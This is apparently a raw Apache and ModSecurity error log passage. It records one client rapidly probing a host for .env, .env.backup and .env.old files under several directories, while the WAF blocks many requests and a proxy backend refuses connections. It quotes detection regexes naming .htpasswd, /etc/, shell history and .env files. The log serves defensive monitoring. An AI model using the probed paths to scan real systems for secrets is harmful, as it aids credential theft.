"/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/app/.env"] [unique_id "ai30NLV-dFiaX9AtWiQYhwAAAUg"] [Sat Jun 13 18:22:12.909118 2026] [security2:error] [pid 715691:tid 715930] [client 208.84.100.145:36886] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.backup"] [unique_id "ai30NLV-dFiaX9AtWiQYiQAAAWM"] [Sat Jun 13 18:22:12.909495 2026] [proxy:error] [pid 715691:tid 715864] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.909578 2026] [proxy_http:error] [pid 715691:tid 715864] [client 208.84.100.145:37008] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.910355 2026] [proxy:error] [pid 715691:tid 715864] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.910410 2026] [proxy_http:error] [pid 715691:tid 715864] [client 208.84.100.145:37008] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.912387 2026] [security2:error] [pid 715691:tid 715869] [client 208.84.100.145:36928] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.old"] [unique_id "ai30NLV-dFiaX9AtWiQYiwAAASY"] [Sat Jun 13 18:22:12.914039 2026] [proxy:error] [pid 715691:tid 715853] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.914133 2026] [proxy_http:error] [pid 715691:tid 715853] [client 208.84.100.145:36916] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.914976 2026] [proxy:error] [pid 715691:tid 715853] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.915026 2026] [proxy_http:error] [pid 715691:tid 715853] [client 208.84.100.145:36916] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.915450 2026] [security2:error] [pid 715691:tid 715862] [client 208.84.100.145:36942] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/api/.env"] [unique_id "ai30NLV-dFiaX9AtWiQYjAAAAR8"] [Sat Jun 13 18:22:12.915824 2026] [proxy:error] [pid 715691:tid 715876] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.915891 2026] [proxy_http:error] [pid 715691:tid 715876] [client 208.84.100.145:36856] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.916611 2026] [proxy:error] [pid 715691:tid 715876] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.916675 2026] [proxy_http:error] [pid 715691:tid 715876] [client 208.84.100.145:36856] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.917392 2026] [security2:error] [pid 715691:tid 715861] [client 208.84.100.145:36846] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env"] [unique_id "ai30NLV-dFiaX9AtWiQYjgAAAR4"] [Sat Jun 13 18:22:12.924012 2026] [proxy:error] [pid 715691:tid 715958] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.924110 2026] [proxy_http:error] [pid 715691:tid 715958] [client 208.84.100.145:36900] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.926005 2026] [proxy:error] [pid 715691:tid 715958] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.926073 2026] [proxy_http:error] [pid 715691:tid 715958] [client 208.84.100.145:36900] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.930541 2026] [proxy:error] [pid 715691:tid 715896] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.930645 2026] [proxy_http:error] [pid 715691:tid 715896] [client 208.84.100.145:36840] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.931618 2026] [proxy:error] [pid 715691:tid 715944] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.931726 2026] [proxy_http:error] [pid 715691:tid 715944] [client 208.84.100.145:37602] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.931980 2026] [proxy:error] [pid 715691:tid 715896] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.932036 2026] [proxy_http:error] [pid 715691:tid 715896] [client 208.84.100.145:36840] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.933117 2026] [proxy:error] [pid 715691:tid 715944] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.933179 2026] [proxy_http:error] [pid 715691:tid 715944] [client 208.84.100.145:37602] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.936929 2026] [proxy:error] [pid 715691:tid 715856] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.937008 2026] [proxy_http:error] [pid 715691:tid 715856] [client 208.84.100.145:36902] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.937332 2026] [proxy:error] [pid 715691:tid 715940] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.937378 2026] [proxy_http:error] [pid 715691:tid 715940] [client 208.84.100.145:37018] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.937861 2026] [proxy:error] [pid 715691:tid 715856] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.937900 2026] [proxy_http:error] [pid 715691:tid 715856] [client 208.84.100.145:36902] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.938191 2026] [proxy:error] [pid 715691:tid 715940] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.938233 2026] [proxy_http:error] [pid 715691:tid 715940] [client 208.84.100.145:37018] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.946515 2026] [proxy:error] [pid 715691:tid 715897] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.946601 2026] [security2:error] [pid 715691:tid 715954] [client 208.84.100.145:36958] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/backend/.env"] [unique_id "ai30NLV-dFiaX9AtWiQYmQAAAXs"] [Sat Jun 13 18:22:12.946619 2026] [proxy_http:error] [pid 715691:tid 715897] [client 208.84.100.145:37590] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.947433 2026] [proxy:error] [pid 715691:tid 715897] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.947488 2026] [proxy_http:error] [pid 715691:tid 715897] [client 208.84.100.145:37590] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.947897 2026] [proxy:error] [pid 715691:tid 715841] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.947993 2026] [proxy_http:error] [pid 715691:tid 715841] [client 208.84.100.145:37578] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.948121 2026] [proxy:error] [pid 715691:tid 715931] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.948182 2026] [proxy_http:error] [pid 715691:tid 715931] [client 208.84.100.145:37564] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.948920 2026] [proxy:error] [pid 715691:tid 715931] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.948967 2026] [proxy_http:error] [pid 715691:tid 715931] [client 208.84.100.145:37564] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.953687 2026] [proxy:error] [pid 715691:tid 715851] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.953766 2026] [proxy_http:error] [pid 715691:tid 715851] [client 208.84.100.145:37526] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.954535 2026] [proxy:error] [pid 715691:tid 715851] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.954576 2026] [proxy_http:error] [pid 715691:tid 715851] [client 208.84.100.145:37526] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.956253 2026] [proxy:error] [pid 715691:tid 715846] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.956312 2026] [proxy_http:error] [pid 715691:tid 715846] [client 208.84.100.145:37516] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.957066 2026] [proxy:error] [pid 715691:tid 715846] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.957109 2026] [proxy_http:error] [pid 715691:tid 715846] [client 208.84.100.145:37516] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.957414 2026] [proxy:error] [pid 715691:tid 715841] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.957456 2026] [proxy_http:error] [pid 715691:tid 715841] [client 208.84.100.145:37578] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.962270 2026] [proxy:error] [pid 715691:tid 715961] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.962373 2026] [proxy_http:error] [pid 715691:tid 715961] [client 208.84.100.145:37572] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.963505 2026] [proxy:error] [pid 715691:tid 715961] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.963564 2026] [proxy_http:error] [pid 715691:tid 715961] [client 208.84.100.145:37572] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.968783 2026] [proxy:error] [pid 715691:tid 715915] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.968876 2026] [proxy_http:error] [pid 715691:tid 715915] [client 208.84.100.145:37520] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.970277 2026] [proxy:error] [pid 715691:tid 715915] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.970328 2026] [proxy_http:error] [pid 715691:tid 715915] [client 208.84.100.145:37520] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.970884 2026] [security2:error] [pid 715691:tid 715888] [client 208.84.100.145:36976] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/server/.env"] [unique_id "ai30NLV-dFiaX9AtWiQYoAAAATk"] [Sat Jun 13 18:22:12.975253 2026] [proxy:error] [pid 715691:tid 715906] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.975346 2026] [proxy_http:error] [pid 715691:tid 715906] [client 208.84.100.145:37488] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.976931 2026] [proxy:error] [pid 715691:tid 715921] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.977044 2026] [proxy_http:error] [pid 715691:tid 715921] [client 208.84.100.145:37460] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.977412 2026] [proxy:error] [pid 715691:tid 715906] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.977474 2026] [proxy_http:error] [pid 715691:tid 715906] [client 208.84.100.145:37488] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.983128 2026] [proxy:error] [pid 715691:tid 715911] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.983218 2026] [proxy_http:error] [pid 715691:tid 715911] [client 208.84.100.145:37512] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.983413 2026] [proxy:error] [pid 715691:tid 715908] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.983477 2026] [proxy_http:error] [pid 715691:tid 715908] [client 208.84.100.145:37430] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.983817 2026] [proxy:error] [pid 715691:tid 715843] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.983878 2026] [proxy_http:error] [pid 715691:tid 715843] [client 208.84.100.145:37406] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.984279 2026] [proxy:error] [pid 715691:tid 715908] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.984320 2026] [proxy_http:error] [pid 715691:tid 715908] [client 208.84.100.145:37430] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.984607 2026] [proxy:error] [pid 715691:tid 715843] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.984671 2026] [proxy_http:error] [pid 715691:tid 715843] [client 208.84.100.145:37406] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.984962 2026] [proxy:error] [pid 715691:tid 715866] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.985016 2026] [proxy_http:error] [pid 715691:tid 715866] [client 208.84.100.145:37496] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.986565 2026] [proxy:error] [pid 715691:tid 715922] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.986677 2026] [proxy_http:error] [pid 715691:tid 715922] [client 208.84.100.145:37472] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.987732 2026] [proxy:error] [pid 715691:tid 715922] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.987733 2026] [proxy:error] [pid 646876:tid 647018] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.987778 2026] [proxy_http:error] [pid 715691:tid 715922] [client 208.84.100.145:37472] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.987790 2026] [proxy_http:error] [pid 646876:tid 647018] [client 208.84.100.145:37150] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.988324 2026] [proxy:error] [pid 715691:tid 715866] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.988366 2026] [proxy_http:error] [pid 715691:tid 715866] [client 208.84.100.145:37496] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.988559 2026] [proxy:error] [pid 646876:tid 647018] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.988594 2026] [proxy_http:error] [pid 646876:tid 647018] [client 208.84.100.145:37150] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.989458 2026] [proxy:error] [pid 715691:tid 715917] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.989502 2026] [proxy_http:error] [pid 715691:tid 715917] [client 208.84.100.145:37350] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.989624 2026] [proxy:error] [pid 715691:tid 715870] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.989673 2026] [proxy_http:error] [pid 715691:tid 715870] [client 208.84.100.145:37376] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.990557 2026] [proxy:error] [pid 715691:tid 715870] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.990595 2026] [proxy_http:error] [pid 715691:tid 715870] [client 208.84.100.145:37376] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.991247 2026] [proxy:error] [pid 715691:tid 715917] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.991284 2026] [proxy_http:error] [pid 715691:tid 715917] [client 208.84.100.145:37350] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.992249 2026] [proxy:error] [pid 715691:tid 715911] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.992331 2026] [proxy_http:error] [pid 715691:tid 715911] [client 208.84.100.145:37512] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.992712 2026] [proxy:error] [pid 715691:tid 715881] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.993066 2026] [proxy_http:error] [pid 715691:tid 715881] [client 208.84.100.145:37284] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.993798 2026] [proxy:error] [pid 715691:tid 715881] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.994836 2026] [proxy_http:error] [pid 715691:tid 715881] [client 208.84.100.145:37284] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.995584 2026] [proxy:error] [pid 715691:tid 715921] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.995659 2026] [proxy_http:error] [pid 715691:tid 715921] [client 208.84.100.145:37460] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.995931 2026] [proxy:error] [pid 715691:tid 715898] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.995984 2026] [proxy_http:error] [pid 715691:tid 715898] [client 208.84.100.145:37196] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.996060 2026] [proxy:error] [pid 715691:tid 715877] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.996093 2026] [proxy_http:error] [pid 715691:tid 715877] [client 208.84.100.145:37550] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.997113 2026] [proxy:error] [pid 715691:tid 715877] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.997162 2026] [proxy_http:error] [pid 715691:tid 715877] [client 208.84.100.145:37550] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.997432 2026] [proxy:error] [pid 715691:tid 715936] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.997479 2026] [proxy_http:error] [pid 715691:tid 715936] [client 208.84.100.145:37478] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.998325 2026] [proxy:error] [pid 715691:tid 715936] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.998371 2026] [proxy_http:error] [pid 715691:tid 715936] [client 208.84.100.145:37478] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.998756 2026] [proxy:error] [pid 715691:tid 715855] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.998821 2026] [proxy_http:error] [pid 715691:tid 715855] [client 208.84.100.145:37318] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:12.999869 2026] [proxy:error] [pid 715691:tid 715898] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:12.999921 2026] [proxy_http:error] [pid 715691:tid 715898] [client 208.84.100.145:37196] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.000084 2026] [proxy:error] [pid 715691:tid 715855] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.000170 2026] [proxy_http:error] [pid 715691:tid 715855] [client 208.84.100.145:37318] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.001845 2026] [proxy:error] [pid 715691:tid 715883] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.001902 2026] [proxy_http:error] [pid 715691:tid 715883] [client 208.84.100.145:37446] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.002783 2026] [proxy:error] [pid 715691:tid 715883] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.002836 2026] [proxy_http:error] [pid 715691:tid 715883] [client 208.84.100.145:37446] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.005671 2026] [proxy:error] [pid 715691:tid 715909] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.005769 2026] [proxy_http:error] [pid 715691:tid 715909] [client 208.84.100.145:37306] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.006495 2026] [proxy:error] [pid 715691:tid 715909] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.006608 2026] [proxy_http:error] [pid 715691:tid 715909] [client 208.84.100.145:37306] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.011490 2026] [proxy:error] [pid 715691:tid 715890] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.011582 2026] [proxy_http:error] [pid 715691:tid 715890] [client 208.84.100.145:37308] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.012485 2026] [proxy:error] [pid 715691:tid 715890] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.012535 2026] [proxy_http:error] [pid 715691:tid 715890] [client 208.84.100.145:37308] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.013495 2026] [proxy:error] [pid 715691:tid 715863] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.013564 2026] [proxy_http:error] [pid 715691:tid 715863] [client 208.84.100.145:37356] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.014376 2026] [proxy:error] [pid 715691:tid 715863] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.014421 2026] [proxy_http:error] [pid 715691:tid 715863] [client 208.84.100.145:37356] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.019401 2026] [proxy:error] [pid 715691:tid 715907] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.019496 2026] [proxy_http:error] [pid 715691:tid 715907] [client 208.84.100.145:37268] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.020107 2026] [proxy:error] [pid 715691:tid 715924] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:13.020195 2026] [proxy_http:error] [pid 715691:tid 715924] [client 208.84.100.145:37250] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:13.021132 2026] [proxy:error] [pid 715691:tid 715907] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed 